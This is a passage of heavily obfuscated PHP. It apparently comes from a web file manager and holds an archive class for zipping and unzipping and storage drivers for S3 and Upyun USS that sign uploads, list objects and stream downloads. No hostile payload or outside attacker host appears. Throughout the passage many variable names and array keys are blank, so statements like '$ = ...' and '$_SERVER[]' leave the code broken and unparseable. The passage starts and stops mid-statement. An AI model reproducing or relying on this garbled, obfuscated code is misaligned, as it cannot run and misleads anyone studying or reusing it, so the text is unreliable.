strtolower($ʨҒ[$ʔ[95]]); $ = $GLOBALS[$ʔ[6]][$ʔ[89]][$ʔ[823]]; $ۊ = $ʔ[74] . (isset($[$鴠]) ? $[$鴠] : ucfirst($鴠)); if (!class_exists($ۊ)) { show_json("{$ۊ}\x20\156\x6f\164\40\x65\170\x69\163\x74\163\41", !1); } $ȗ = isset($ʨҒ[$ʔ[6]]) ? $ʨҒ[$ʔ[6]] : !1; self::$driverCache[$ߥ] = new $ۊ($ȗ); } $ = self::$driverCache[$ߥ]; $->pathDriver = $; $->pathBase = $ʔ[12]; if (isset($ʨҒ[$ʔ[6]][$ʔ[1176]])) { $->pathBase = rtrim($ʨҒ[$ʔ[6]][$ʔ[1176]], $ʔ[8]) . $ʔ[8]; $́ = $->pathBase . ltrim($́, $ʔ[8]); } $́ = $->getPath($́); if (isset($י[$ʔ[1147]])) { $́ = $י[$ʔ[1147]]; } $->path = $́; return $; } public static function errorTips($ = false) { $ƥ =& $_SERVER[]; static $ = array(); $Ξ = 1000; if ($ === -1) { return $ ? $[count($) - 1] : $ƥ[12]; } if ($ === !1) { return implode($ƥ[231], $); } if (count($) >= $Ξ) { $ = array_slice($, $Ξ * 0.5, $Ξ); } $[] = $; write_log($ƥ[162] . ACTION . $ƥ[1177] . $, $ƥ[1178]); } public static function getLastError($ = '') { $ = self::errorTips(-1); return $ ? $ : $; } } class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $; if ($) { return $; } $ن = IO::init($_SERVER[][8]); return $ن; } private static function iconvSystem($) { return self::local()->iconvSystem($); } private static function iconvApp($̷Խ) { return self::local()->iconvApp($̷Խ); } public static function zipFolder($, $ʘÑ = "\x7a\x69\160", $շՠ = '', $ = REPEAT_RENAME) { $Ȱ =& $_SERVER[]; $ = IO::listPath($); if (!$) { return !1; } $ = array_merge($[$Ȱ[82]], $[$Ȱ[83]]); return self::zip($, $ʘÑ, $շՠ, $); } public static function zip($ɐ, $ = "\x7a\151\160", $ = '', $ = REPEAT_RENAME) { $ =& $_SERVER[]; if (is_string($ɐ) && $ɐ) { $ɐ = array(array($[84] => $ɐ)); } $ = self::init($ɐ[0][$[84]]); $ = self::info($ɐ[0][$[84]]); $։Nj = $[12]; $ʋ = $[12]; $ = $[12]; if ($ && substr($, -1, 1) != $[8]) { $ʋ = get_path_father($); $ = get_path_this($); } else { $ʋ = self::pathFather($[$[84]]); $ = $[$[32]] . $[10] . $; if (count($ɐ) > 1) { $ = IO::info($ʋ); $ = $[$[32]] . $[10] . $; } if ($) { $ʋ = $; } } if ($->getType() == $[106]) { $Α = self::init($ʋ); $е = $Α->getType() == $[106] ? $ʋ : get_path_father($->path); $е = rtrim($е, $[8]) . $[8]; mk_dir($е); } else { $։Nj = TEMP_FILES . $[1179] . time() . rand_string(8) . $[8]; mk_dir($։Nj); file_put_contents($։Nj . $[1180], $[12]); $е = $։Nj; } $ = IO::info($е); if (!$ || !$[$[203]]) { show_json(LNG($[1181]), !1); } $ = self::zipFileList($ɐ, $։Nj); foreach ($ as $ => $ז) { $[$] = self::iconvSystem($ז); } $䕾̄ = get_filename_auto($е . $, $[12], $); KodArchive::create(self::iconvSystem($䕾̄), $); if (!IO::exist($䕾̄)) { if ($։Nj) { del_dir($։Nj); } show_json(LNG($[1182]), !1); } if (!$։Nj) { return $䕾̄; } $ = self::move($䕾̄, $ʋ, $); if ($։Nj) { del_dir($։Nj); } if (!$䕾̄) { show_json(LNG($[1182]), !1); } return $; } public static function unzip($, $Ӫ, $ = "\x2d\61", $Қח = "\x72\x65\160\x6c\141\x63\x65") { $ؙ =& $_SERVER[]; $֨ѝ = parent::info($); if (!$֨ѝ) { show_json(LNG($ؙ[1183]), !1); } $ = IO::infoFull($Ӫ); if (!$) { $Ӫ = IO::mkdir($Ӫ); } if (isset($[$ؙ[402]]) && trim($[$ؙ[84]], $ؙ[8]) != trim($Ӫ, $ؙ[8])) { $ā = KodIO::make($[$ؙ[432]]); $ڿ = IO::fileNameAuto($ā, $[$ؙ[32]], REPEAT_RENAME_FOLDER, !0); $Ӫ = IO::mkdir($ā . $ڿ); } $ = $ && $ != $ؙ[1184] ? @json_decode($, !0) : -1; $ = self::unzipPart($, $); if (!$ || !IO::exist($[$ؙ[200]])) { show_json(LNG($ؙ[105]), !1); } $Ͷ = $[$ؙ[1185]][count($[$ؙ[1185]]) - 1]; if ($Ͷ[$ؙ[1186]] == -1 || substr($Ͷ[$ؙ[32]], -1, 1) == $ؙ[8]) { $ = $[$ؙ[1187]] . rand_string(10) . $ؙ[8]; mk_dir($); $ = count($[$ؙ[1185]]) == 1 ? IO::ext($) : get_path_ext($[$ؙ[200]]); $ = KodArchive::extract(self::iconvSystem($[$ؙ[200]]), $, $Ͷ[$ؙ[1186]], $ڿ, $); self::unzipErrorCheck($, array($ؙ[1188], $, $, $Ӫ, $)); Hook::trigger($ؙ[1189], $); recursion_dir($, $ܪ, $, 0); $ꤍ = array_merge($ܪ, $); $α = array(); foreach ($ꤍ as $χԟ) { $˪ = IO::move(self::iconvApp($χԟ), $Ӫ, $Қח); if ($˪) { $α[] = $˪; } } del_dir($); } else { $˪ = IO::move($[$ؙ[200]], $Ӫ, $Қח, get_path_this($Ͷ[$ؙ[32]])); if ($˪) { $α[] = $˪; } } return $α ? $α : !1; } public static function unzipList($ߺ) { $һ =& $_SERVER[]; $ = isset($ߺ[$һ[1190]]) ? $ߺ[$һ[1190]] : !1; $ѿ = isset($ߺ[$һ[1186]]) ? @json_decode($ߺ[$һ[1186]], !0) : -1; $ՠ = self::unzipPart($ߺ[$һ[84]], $ѿ); if (!$ՠ || !IO::exist($ՠ[$һ[200]])) { show_json(LNG($һ[105]), !1); } $ߖLj = $ՠ[$һ[1185]][count($ՠ[$һ[1185]]) - 1]; $Ф = in_array(IO::ext($ՠ[$һ[200]]), array($һ[313], $һ[1191], $һ[1192], $һ[1193], $һ[1194], $һ[1195])); if (!$ && ($ߖLj[$һ[1186]] == -1 || $Ф)) { $턋 = $ՠ[$һ[1187]] . get_path_this($ՠ[$һ[200]]) . $һ[1196]; if (!IO::exist($턋)) { $훧 = $ߖLj[$һ[1186]] == -1 ? get_path_ext(IO::pathThis($ߺ[$һ[84]])) : get_path_ext($ՠ[$һ[200]]); $ߧ = KodArchive::listContent(self::iconvSystem($ՠ[$һ[200]]), !0, $훧); self::unzipErrorCheck($ߧ, array($һ[1197], $ߺ, $ՠ)); @file_put_contents($턋, json_encode($ߧ[$һ[1198]])); } return @json_decode(IO::getContent($턋), !0); } IO::fileOut($ՠ[$һ[200]], $, get_path_this($ߖLj[$һ[32]])); die; } private static function zipFileList($ޛ, $ = false) { $ =& $_SERVER[]; $龹 = array(); foreach ($ޛ as $ʙ) { $ = $ʙ[$[84]]; if ($) { $ = self::copy($ʙ[$[84]], $, $[815]); } else { $ = self::init($ʙ[$[84]]); if ($->getType() == $[106]) { $ = $->path; } } if ($ && self::local()->exist($)) { $龹[$ʙ[$[84]]] = $; } } if (!empty($龹)) { return array_values($龹); } show_json(LNG($[1161]), !1); } private static function localFilePath($) { $쁨 =& $_SERVER[]; $ʨ = KodIO::parse($); if ($ʨ[$쁨[33]] == KodIO::KOD_SOURCE) { $ڡ = Model($쁨[822])->fileInfoGet(KodIO::sourceID($)); if (!$ڡ[$쁨[84]]) { show_json($쁨[1199], !1); } $ = $ڡ[$쁨[84]]; } $٬ = self::init($); if ($٬->pathParse[$쁨[1147]]) { $ = $٬->pathParse[$쁨[1147]]; $٬ = self::init($); } $У = $٬->getType(); if ($У == $쁨[106] || $У == $쁨[1200]) { if (!$٬->exist($٬->path)) { show_json(LNG($쁨[105]), !1); } return $٬->path; } return !1; } public static function unzipPart($Ĥ, $ = -1) { $ =& $_SERVER[]; $枎 = IO::pathThis($Ĥ); if (!$ || $ == -1) { $ = array(array($[32] => $枎, $[1186] => -1)); $[0][$[1201]] = $[0][$[32]]; } else { if (is_array($)) { $ = $; $ʫ = count($) - 1; for ($꿼 = 0; $꿼 <= $ʫ; $꿼++) { $ٯٮ = $[$꿼]; $埿Н = get_path_this($ٯٮ[$[32]]) . (checkExtSafe($ٯٮ[$[32]]) ? $[12] : $[1202]); $[$꿼][$[1201]] = $[1203] . intval($ٯٮ[$[1186]]) . $[386] . $埿Н; if ($꿼 == 0) { continue; } $[$꿼][$[1201]] = $[$꿼 - 1][$[1201]] . $[1204] . $[$꿼][$[1201]]; } } } if (!is_array($) || count($) == 0) { return !1; } $ = $[count($) - 1]; if (!IO::exist($Ĥ)) { return !1; } $ = TEMP_FILES . $[1205] . kodIO::hashPathSafe($Ĥ) . $[8]; $ԛ = $ . $[$[1201]]; mk_dir($); file_put_contents(TEMP_FILES . $[1180], $[12]); if (IO::exist($ԛ)) { return array($[200] => $ԛ, $[1185] => $, $[1187] => $); } $ = self::localFilePath($Ĥ); if (!$) { $ = $ . $[1206]; if (!IO::exist($)) { self::copy($Ĥ, $, !1, get_path_this($)); } } if (!$ || !IO::exist($)) { return !1; } if ($[$[1186]] == -1) { return array($[200] => $, $[1185] => $, $[1187] => $); } $ = $; foreach ($ as $꿼 => $ٯٮ) { if (!$ٯٮ || $ٯٮ[$[1186]] == $[1184]) { break; } if (substr($ٯٮ[$[32]], -1, 1) == $[8]) { break; } $ = in_array(get_path_ext($ٯٮ[$[1201]]), array($[313], $[1191], $[1192], $[1193], $[1194], $[1195])); $݆ӟ = $꿼 == count($) - 1 && $; $퀗ĉ = $ . $ٯٮ[$[1201]]; $ݾ = $ . get_path_this($ٯٮ[$[32]]); if (IO::exist($퀗ĉ)) { $ = $퀗ĉ; continue; } $ = $꿼 == 0 ? get_path_ext($枎) : get_path_ext($); $ = KodArchive::extract(self::iconvSystem($), $, $ٯٮ[$[1186]], $, $); self::unzipErrorCheck($, array($[1207], $Ĥ, $, $ٯٮ, $퀗ĉ)); if (IO::exist($ݾ)) { IO::rename($ݾ, get_path_this($퀗ĉ)); } $ = $퀗ĉ; } $ԛ = $; return array($[200] => $, $[1185] => $, $[1187] => $); } private static function unzipErrorCheck($, $ǖ = false) { $ =& $_SERVER[]; if ($[$[1208]]) { return !0; } write_log(array($[1209], $, $ǖ), $[1210]); show_json($[1211] . json_encode($[$[1198]]), !1); die; } } goto Cѫ; cβ: class PathDriverS3 extends PathDriverBaseS3 { public function __construct($ٸ) { parent::__construct($ٸ); } public function uploadFormData($좹, $ = 3600) { $ =& $_SERVER[]; $ = $[199]; $ = $[1354]; $ = $[62]; $Ƶ = gmdate($[1355]); $ؼ = gmdate($[747]); $ޅ̃ = $[1356]; $ݫ = $ . $[12]; $Շ = $[1318]; $ʃ = array($this->accessKey, $ؼ, $this->region, $, $ޅ̃); $ = implode($[8], $ʃ); $ = array($[1320] => gmdate($[1319], strtotime($[1357])), $[1321] => array(array($[1323] => $this->bucket), array($[1322] => $), array($[1324], $[1325], $[12]), array($[1324], $[1358], $[12]), array($[1324], $[1359], $[12]), array($[1326] => $Շ), array($[1360] => $), array($[1361] => $), array($[1362] => $Ƶ), array($[1363] => $ݫ))); $ = base64_encode(json_encode($)); $ = hash_hmac($[1364], $ؼ, $[1365] . $this->secret, !0); $ = hash_hmac($[1364], $this->region, $, !0); $ɑ = hash_hmac($[1364], $, $, !0); $ = hash_hmac($[1364], $ޅ̃, $ɑ, !0); $˝ = hash_hmac($[1364], $, $); $Ɲ = array($[215] => $[12], $[1366] => $[12], $[1322] => $, $[1326] => $Շ, $[1330] => $, $[1367] => $, $[1368] => $, $[1369] => $Ƶ, $[1370] => $ݫ, $[1371] => $˝, $[182] => $this->getHost()); return $Ɲ; } public function multiUploadFormData($Ƣ, $鿂 = 3600) { $ᙘ =& $_SERVER[]; $ʤʵ = gmdate($ᙘ[1450]); $ = array(); $ = $this->client->getUploadId($this->bucket, $Ƣ, $); if (!$) { return !1; } return array($ᙘ[223] => $, $ᙘ[182] => $this->getHost() . $ᙘ[8] . $this->pathEncode($Ƣ), $ᙘ[224] => $ʤʵ, $ᙘ[94] => $Ƣ); } public function multiUploadAuthData($䱩, $ = array()) { $ =& $_SERVER[]; $őσ = isset($[$[174]]) ? $[$[174]] : $[12]; $ȱƾ = $[$[94]]; unset($[$[94]]); if (isset($[$[225]])) { return $this->listUploadParts($ȱƾ, $); } $܈ = array(); if (isset($[$[1451]])) { $܈[$[1452]] = $[$[1451]]; } $ = explode($[184], $this->getHost()); $ء = array($[1453] => $[1], $[1454] => $[12], $[215] => $[120], $[1366] => $[$[76]]); $餃 = $[228]; $ = $[8] . $this->pathEncode($ȱƾ) . $őσ; $ƫ = $this->client->__getSignatureV4($܈, $ء, $餃, $); if (strpos($őσ, $[227]) === 0) { if (isset($܈[$[1452]])) { $Ɉ = $܈[$[1452]]; } else { if (isset($ƫ[$[1452]])) { $Ɉ = $ƫ[$[1452]]; } else { $Ɉ = hash($[1364], $[12]); } } return array($[234] => $ƫ[$[234]], $[1452] => $Ɉ, $[224] => $ƫ[$[1455]]); } return $ƫ[$[234]]; } public function listUploadParts($, $Ħ = array()) { $ =& $_SERVER[]; $߶ = str_replace($[235], $[12], $Ħ[$[174]]); $ٺ = $this->client->listParts($this->bucket, $, $߶); if (!$ٺ) { return !1; } $ = $[1456]; foreach ($ٺ as $) { $ .= $[1457] . "\x3c\120\x61\162\x74\x4e\165\x6d\142\145\x72\76{$[$[1411]]}\74\x2f\x50\141\x72\164\116\x75\x6d\142\145\x72\x3e\xa" . "\x3c\x45\124\141\147\x3e{$[$[1412]]}\x3c\x2f\x45\124\141\x67\x3e\xa" . $[1458]; } $ .= $[1459]; $덚 = array(); $ = explode($[184], $this->getHost()); $ = array($[1453] => $[1], $[215] => $[120], $[1366] => strlen($)); $鱓 = $[226]; $ = $[8] . $this->pathEncode($) . $Ħ[$[174]]; $վ = $this->client->__getSignatureV4($덚, $, $鱓, $, $); return array($[234] => $վ[$[234]], $[224] => $վ[$[1455]], $[236] => $ٺ, $[1452] => $վ[$[1452]]); } public function link($, $̀ = array()) { return parent::link($, $̀); } public function fileOut($ʵ, $ = false, $ = false, $Ɵà = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[][1460])) { return parent::fileOutServer($ʵ, $, $, $ƟÃ); } parent::fileOut($ʵ, $, $, $ƟÃ); } public function fileOutImage($ĩ, $Ɲ = 250) { if (strstr($this->endpoint, $_SERVER[][1460])) { return parent::fileOutImageServer($ĩ, $Ɲ); } parent::fileOutImage($ĩ, $Ɲ); } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[1333]) { $ = $[1334] . substr($, 7); } header($[161] . $); die; } public function getHost() { $ =& $_SERVER[]; $ǹ = str_rtrim(parent::getHost(), $[8] . $this->bucket); $ǹ = explode($[184], $ǹ); return $ǹ[0] . $[184] . $this->bucket . $[10] . $ǹ[1]; } } class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($ڬ, $݀ = 0) { parent::__construct(); $this->source = $ڬ; $this->sourceSize = $݀; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($ = false) { return $this->sourceSize; } public function getContent($ꐄ = false) { return $this->fileSubstr($ꐄ, 0, $this->sourceSize); } public function fileSubstr($Ȫ = false, $ŤҢ = 0, $͊ = 0) { if (!$͊) { $͊ = $this->sourceSize; } $ = $this->sourceSize - $ŤҢ; if ($͊ >= $) { $͊ = $; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $ŤҢ, $͊); } if ($this->sourceType == self::TYPE_FILE) { if ($͊ <= 0) { return $_SERVER[][12]; } $ = ftell($this->source); fseek_64($this->source, $ + $ŤҢ); $ = @fread($this->source, $͊); fseek_64($this->source, $); return $; } } public function hashMd5($Ȩ = false) { return md5($this->getContent()); } public static function hash($τ, $ͦ = 0) { $ٸ = new PathDriverStream($τ, $ͦ); return $ٸ->hashSimple($τ); } public static function md5($佥, $ = 0) { $Ƅ = new PathDriverStream($佥, $); return $Ƅ->hashMd5($佥); } } class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\x68\164\x74\160\72\x2f\57\166\x30\x2e\x61\160\x69\56\165\160\x79\x75\156\x2e\143\x6f\155"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($ޔ) { parent::__construct(); $this->_init($ޔ); } public function _init($ޓ) { $ϱ =& $_SERVER[]; foreach ($ޓ as $ => $媐) { if (isset($this->{$})) { $this->{$} = $媐; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($ϱ[1461] . LNG($ϱ[1392])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($, $ϕ۪ = "\107\105\124") { $Ɛ =& $_SERVER[]; $ԑ = gmdate($Ɛ[1425]); $ = base64_encode(hash_hmac($Ɛ[1462], "{$ϕ۪}\46{$}\46{$ԑ}", md5("{$this->userpass}"), !0)); $ß = array("\x41\x75\x74\x68\157\x72\x69\x7a\141\x74\x69\157\156\x3a\125\x50\x59\x55\x4e\40{$this->username}\72{$}", "\x44\x61\164\x65\72{$ԑ}"); return $ß; } public function ussRequest($, $۲ƞ = "\107\x45\x54", $˰ = false, $Ƿ = false, $ = false) { $Ս =& $_SERVER[]; $ = trim($, $Ս[8]); $ = "\x2f{$this->bucket}\x2f{$}"; $≂ = $this->ussHeaders($, $۲ƞ); if ($Ƿ) { $≂ = array_merge($≂, $Ƿ); } $Į = url_request($this->endpoint . $, $۲ƞ, $˰, $≂, $); if (!$Į) { return array($Ս[1208] => !1, $Ս[1198] => $Ս[1463]); } if (strtolower($۲ƞ) == $Ս[197] || in_array($Į[$Ս[1208]], array($Ս[1318], $Ս[1464]))) { $˰ = $Į[$Ս[1465]]; } else { $˰ = json_decode($Į[$Ս[1198]], !0); if (!$˰) { $˰ = $Į[$Ս[1198]]; } else { if (!$Į[$Ս[746]] && isset($˰[$Ս[1466]])) { $˰ = $˰[$Ս[1466]]; } } } return array($Ս[1208] => $Į[$Ս[746]], $Ս[1198] => $˰); } public function mkfile($Ưݞ, $ = '', $Ш = REPEAT_RENAME) { if ($this->setContent($Ưݞ, $)) { return $this->getPathOuter($Ưݞ); } return !1; } public function mkdir($ݗ, $۴ = REPEAT_SKIP) { $ =& $_SERVER[]; $Ȥ = trim($ݗ, $[8]); if ($this->_isFolder($Ȥ)) { return $this->getPathOuter($Ȥ); } $ = array($[1467]); $Ɛ = $this->ussRequest($Ȥ, $[226], !1, $); return $Ɛ[$[1208]] ? $this->getPathOuter($Ȥ) : !1; } public function copyFile($, $) { $ =& $_SERVER[]; $Ƿö = array($[1468] . "\57{$this->bucket}\x2f{$}", $[1469]); $ = $this->ussRequest($, $[228], !1, $Ƿö); return $[$[1208]] ? !0 : $this->getPathOuter($); } public function moveFile($, $) { $ =& $_SERVER[]; $՜ = array($[1470] . "\57{$this->bucket}\57{$}", $[1469]); $ = $this->ussRequest($, $[228], !1, $՜); return $[$[1208]] ? !0 : $this->getPathOuter($); } public function delFile($ͱ) { $ =& $_SERVER[]; $ = $this->ussRequest($ͱ, $[1471]); return $[$[1208]] ? !0 : !1; } public function delFolder($豿Ο) { $º =& $_SERVER[]; if (!$this->exist($豿Ο)) { return !0; } $this->listItemCache = !1; $뱠 = $ڣ = array(); $this->fileList($豿Ο, $뱠, $ڣ, !0); $this->listItemCache = !0; foreach ($ڣ as $) { $ = $this->ussRequest($[$º[32]], $º[1471]); if (!$[$º[1208]]) { return !1; } } foreach ($뱠 as $в) { $ = $this->ussRequest($в, $º[1471]); if (!$[$º[1208]]) { return !1; } } $ = $this->ussRequest($豿Ο, $º[1471]); return $[$º[1208]]; } public function rename($Ϝ, $) { if ($this->isFile($Ϝ)) { $ = get_path_father($Ϝ) . $; return $this->moveFile($Ϝ, $); } return $this->renameObject($Ϝ, $); } public function fileInfo($, $䌉 = false, $㾨 = array()) { $箲 =& $_SERVER[]; $Ǯ = array($箲[32] => $this->pathThis($), $箲[84] => $this->getPathOuter($箲[8] . $), $箲[33] => $箲[200], $箲[76] => isset($㾨[$箲[76]]) ? $㾨[$箲[76]] : 0, $箲[174] => $this->ext($)); if ($䌉) { return $Ǯ; } $Ǯ[$箲[201]] = $Ǯ[$箲[85]] = 0; $Ǯ[$箲[202]] = $Ǯ[$箲[203]] = !0; if (empty($㾨)) { $㾨 = $this->objectMeta($); if (!$㾨) { return $Ǯ; } } $Ǯ[$箲[201]] = intval($㾨[$箲[1472]]); $Ǯ[$箲[85]] = intval($㾨[$箲[1473]]); $Ǯ[$箲[76]] = $㾨[$箲[76]]; return $Ǯ; } public function folderInfo($ՙ, $ = false) { $֏ =& $_SERVER[]; $ = array($֏[32] => $this->pathThis($ՙ), $֏[84] => $this->getPathOuter($֏[8] . $ՙ), $֏[33] => $֏[75]); if ($) { return $; } $[$֏[201]] = $[$֏[85]] = 0; $[$֏[202]] = $[$֏[203]] = !0; if (empty($)) { $ = $this->objectMeta($ՙ); if (!$) { return $; } } $[$֏[201]] = intval($[$֏[1472]]); $[$֏[85]] = intval($[$֏[1473]]); return $; } private function listObjs($¸, $۳ݵ = 0, $ = 1000) { $ݨ =& $_SERVER[]; $ = array($ݨ[1474], $ݨ[1475] . $); if ($۳ݵ) { $[] = $ݨ[1476] . $۳ݵ; } $ȫ¹ = $this->ussRequest($¸, $ݨ[230], !1, $); return !$ȫ¹[$ݨ[1208]] ? !1 : $ȫ¹[$ݨ[1198]]; } private function fileList($ک, &$ȸ, &$, $ꛭ = false) { $د =& $_SERVER[]; $ˣל = $د[12]; $ = 1000; $ߜǬ = rtrim($ک, $د[8]) . $د[8]; while (!0) { check_abort(); $ȫ = $this->listObjs($ک, $ˣל, $); if (!$ȫ) { return !1; } $ˣל = isset($ȫ[$د[1477]]) ? $ȫ[$د[1477]] : $د[12]; $ӑ = isset($ȫ[$د[1478]]) ? $ȫ[$د[1478]] : array(); foreach ($ӑ as $) { $ = $[$د[33]] == $د[75] ? !0 : !1; $ˤ = ltrim($ߜǬ . $[$د[32]], $د[8]) . ($ ? $د[8] : $د[12]); $ = array($د[32] => $ˤ, $د[33] => $ ? $د[75] : $د[200], $د[76] => $[$د[337]], $د[1473] => $[$د[1479]]); $this->cacheMethodInfoSet($ˤ, $, $); if ($) { $ȸ[] = $ˤ; if ($ꛭ) { $this->fileList($ˤ, $ȸ, $, $ꛭ); } continue; } $[] = $; } if (count($ӑ) < $) { break; } } $this->cacheMethodInfoSet($ک, !0); } public function listPath($ί, $ = false) { $Ғ =& $_SERVER[]; $ = $̠ = array(); $this->fileList($ί, $, $̠); foreach ($ as $䴩 => $½) { $[$䴩] = $this->folderInfo($½, $); } foreach ($̠ as $䴩 => $½) { $̠[$䴩] = $this->fileInfo($½[$Ғ[32]], $, $½); } return array($Ғ[82] => $, $Ғ[83] => $̠); } public function has($ܽ, $Ճ = false, $ = true) { $ꘖ =& $_SERVER[]; $˲ = $ꘖ[12]; $҇ = 500; $ = 0; $ = 0; $صѺ = rtrim($ܽ, $ꘖ[8]) . $ꘖ[8]; while (!0) { check_abort(); $ܩ = $this->listObjs($ܽ, $˲, $҇); if (!$ܩ) { return !1; } $˲ = isset($ܩ[$ꘖ[1477]]) ? $ܩ[$ꘖ[1477]] : $ꘖ[12]; $Nj = isset($ܩ[$ꘖ[1478]]) ? $ܩ[$ꘖ[1478]] : array(); if (empty($Nj)) { break; } $ = array_filter($Nj, function ($) { $ě =& $_SERVER[]; return $[$ě[33]] == $ě[75]; }); $ԙ = count($Nj); $ = count($); $ߓφ = $ԙ - $; if ($Ճ) { $ += $; $ += $ߓφ; if ($ԙ < $҇) { break; } continue; } if ($) { if ($ߓφ) { return !0; } } else { if ($) { return !0; } } if ($ԙ < $҇) { break; } } if ($Ճ) { return array($ꘖ[207] => $, $ꘖ[208] => $); } return !1; } public function listAll($) { $Ӿ =& $_SERVER[]; $ƀ = $τ = array(); $this->fileList($, $ƀ, $τ, !0); $ = array_to_keyvalue($τ, $Ӿ[32]); foreach ($ƀ as $҂) { if (is_string($҂)) { $[$҂] = array($Ӿ[76] => 0); } } return $this->listAllFiles($, $); } public function canRead($߶̅) { return $this->exist($߶̅) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } public function getContent($՟) { return $this->fileSubstr($՟, 0, -1); } public function setContent($σ, $ = '') { $ء =& $_SERVER[]; if (!$) { $· = $this->ussRequest($σ, $ء[226]); return $·[$ء[1208]]; } $Dz = $this->tempFile($this->pathThis($σ)); file_put_contents($Dz, $); if ($this->upload($σ, $Dz)) { $this->tempFileRemve($Dz); return !0; } return !1; } public function fileSubstr($, $, $߯) { $ =& $_SERVER[]; if (!($п = $this->link($))) { return !1; } $ = !1; if ($߯ > 0) { $ص = $ + $߯ - 1; $ = array($[1440] . $ . $[386] . $ص); } $ʑ = url_request($п, $[230], !1, $); return $ʑ[$[746]] ? $ʑ[$[1198]] : !1; } public function upload($δ͐, $, $ = false, $ǺβȲ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = IO::size($); if ($ <= 1024 * 1024 * 200) { $ = array($[1480] . $); $ = $this->ussRequest($δ͐, $[228], $); return $[$[1208]] ? $this->getPathOuter($δ͐) : !1; } $н = 1024 * 1024 * 10; $ӂ = array($[1481], $[1482] . $, $[1483], $[1484] . $н); $ = $this->ussRequest($δ͐, $[228], !1, $ӂ); if (!$[$[1208]]) { return !1; } $ = $[$[1198]]; $ʠ = 0; $Ӏ = $[$[1485]]; $Тߪ = fopen($, $[1389]); if (!$Тߪ) { return !1; } do { $˝ = $[$[1486]]; fseek_64($Тߪ, $ʠ); $Ѐ = fread($Тߪ, $˝); $᷋ = 0; do { $᷋++; $ = $this->uploadPart($δ͐, $, $Ѐ); } while (!$ && $᷋ < 3); if (!$) { return !1; } $Ӏ = $[$[1485]]; $ʠ += $˝; } while ($Ӏ != -1); fclose($Тߪ); $ӂ = array($[1487], $[1488] . $[$[1489]], $[1483]); $ = $this->ussRequest($δ͐, $[228], !1, $ӂ); return $[$[1208]] ? $this->getPathOuter($Ҁ) : !1; } private function uploadPart($¶, $ᥤ, &$ӄ) { $ψ =& $_SERVER[]; $ = array($ψ[1490], $ψ[1488] . $ᥤ[$ψ[1489]], $ψ[1491] . $ᥤ[$ψ[1485]], $ψ[142] . $ᥤ[$ψ[1486]]); $ = $this->ussRequest($¶, $ψ[228], $ӄ, $); return !$[$ψ[1208]] ? $[$ψ[1208]] : $[$ψ[1198]]; } public function uploadFormData($, $ = 3600) { return $this->uploadPolicy($, $); } public function multiUploadFormData($ғН, $ = 3600) { $ =& $_SERVER[]; $쬊 = (int) $GLOBALS[$[7]][$[76]]; return $this->uploadPolicy($ғН, $, $쬊); } private function uploadPolicy($, $Ȣ = 3600, $䅥Ǽ = 0) { $ =& $_SERVER[]; $ɐ = $[8] . $this->bucket; $ʲ = gmdate($[1425]); $퀢 = array($[1492] => $this->bucket, $[1493] => $, $[1494] => time() + $Ȣ, $[1495] => $ʲ); if ($䅥Ǽ) { $퀢[$[1405]] = $䅥Ǽ; } $ = base64_encode(json_encode($퀢)); $ɝΝ = base64_encode(hash_hmac($[1462], "\120\x4f\x53\x54\x26{$ɐ}\x26{$ʲ}\46{$}", md5("{$this->userpass}"), !0)); $ѣ = array($[1330] => $, $[1496] => "\125\x50\x59\x55\x4e\40{$this->username}\x3a{$ɝΝ}", $[182] => $this->endpoint . $ɐ); return $ѣ; } public function download($, $) { $Ȭ = IO::getPathInner(IO::mkfile($)); if (!($ = $this->link($))) { return !1; } $ = 0; $ = 1024 * 200; $ = fopen($Ȭ, $_SERVER[][1446]); while (!0) { $ = $this->fileSubstr($, $, $); if ($ === !1) { return !1; } fwrite($, $); $ += $; if (strlen($) < $) { break; } } fclose($); return $; } public function link($Ē, $ = array()) { $ =& $_SERVER[]; $Ē = trim($Ē, $[8]); if (!empty($this->token)) { $Ч = strtotime(date($[1497])); $ = substr(md5($this->token . $[284] . $Ч . $[1498] . $Ē), 12, 8) . $Ч; $[] = $[1499] . $; } $ = !empty($) ? $[73] . implode($[284], $) : $[12]; return $this->getHost() . $[8] . $Ē . $; } public function fileOut($ܕ, $覴 = false, $ = false, $Ԃ媁 = '') { if ($this->isFileOutServer()) { return $this->fileOutServer($ܕ, $覴, $, $Ԃ媁); } if (!$) { $ = $this->pathThis($ܕ); } $ = $覴 ? array($_SERVER[][1500] . rawurlencode($)) : array(); $ߵ = $this->link($ܕ, $); $this->fileOutLink($ߵ); } public function fileOutServer($, $ލ = false, $ؒߥ = false, $ܛ = '') { parent::fileOut($, $ލ, $ؒߥ, $ܛ); } public function fileOutImage($, $ĵ = 250) { $Ԅ = $this->link($ . $_SERVER[][1501] . $ĵ); $this->fileOutLink($Ԅ); } public function fileOutImageServer($Ń, $ = 250) { parent::fileOutImage($Ń, $); } public function hashMd5($ߌġ) { $ɻ =& $_SERVER[]; $ = $this->_objectMeta($ߌġ); return isset($[$ɻ[212]]) ? $[$ɻ[212]] : !1; } public function size($) { $ѷ = $this->objectMeta($); return $ѷ ? $ѷ[$_SERVER[][76]] : 0; } public function info($ކ؍) { if ($this->isFolder($ކ؍)) { return $this->folderInfo($ކ؍); } else { if ($this->isFile($ކ؍)) { return $this->fileInfo($ކ؍); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($ÿ˟) { return !$this->isFolder($ÿ˟) && $this->objectMeta($ÿ˟); } public function isFolder($𞢣) { return $this->cacheMethod($_SERVER[][165], $𞢣); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][167], $); } protected function _objectMeta($Ƴ) { $ =& $_SERVER[]; if 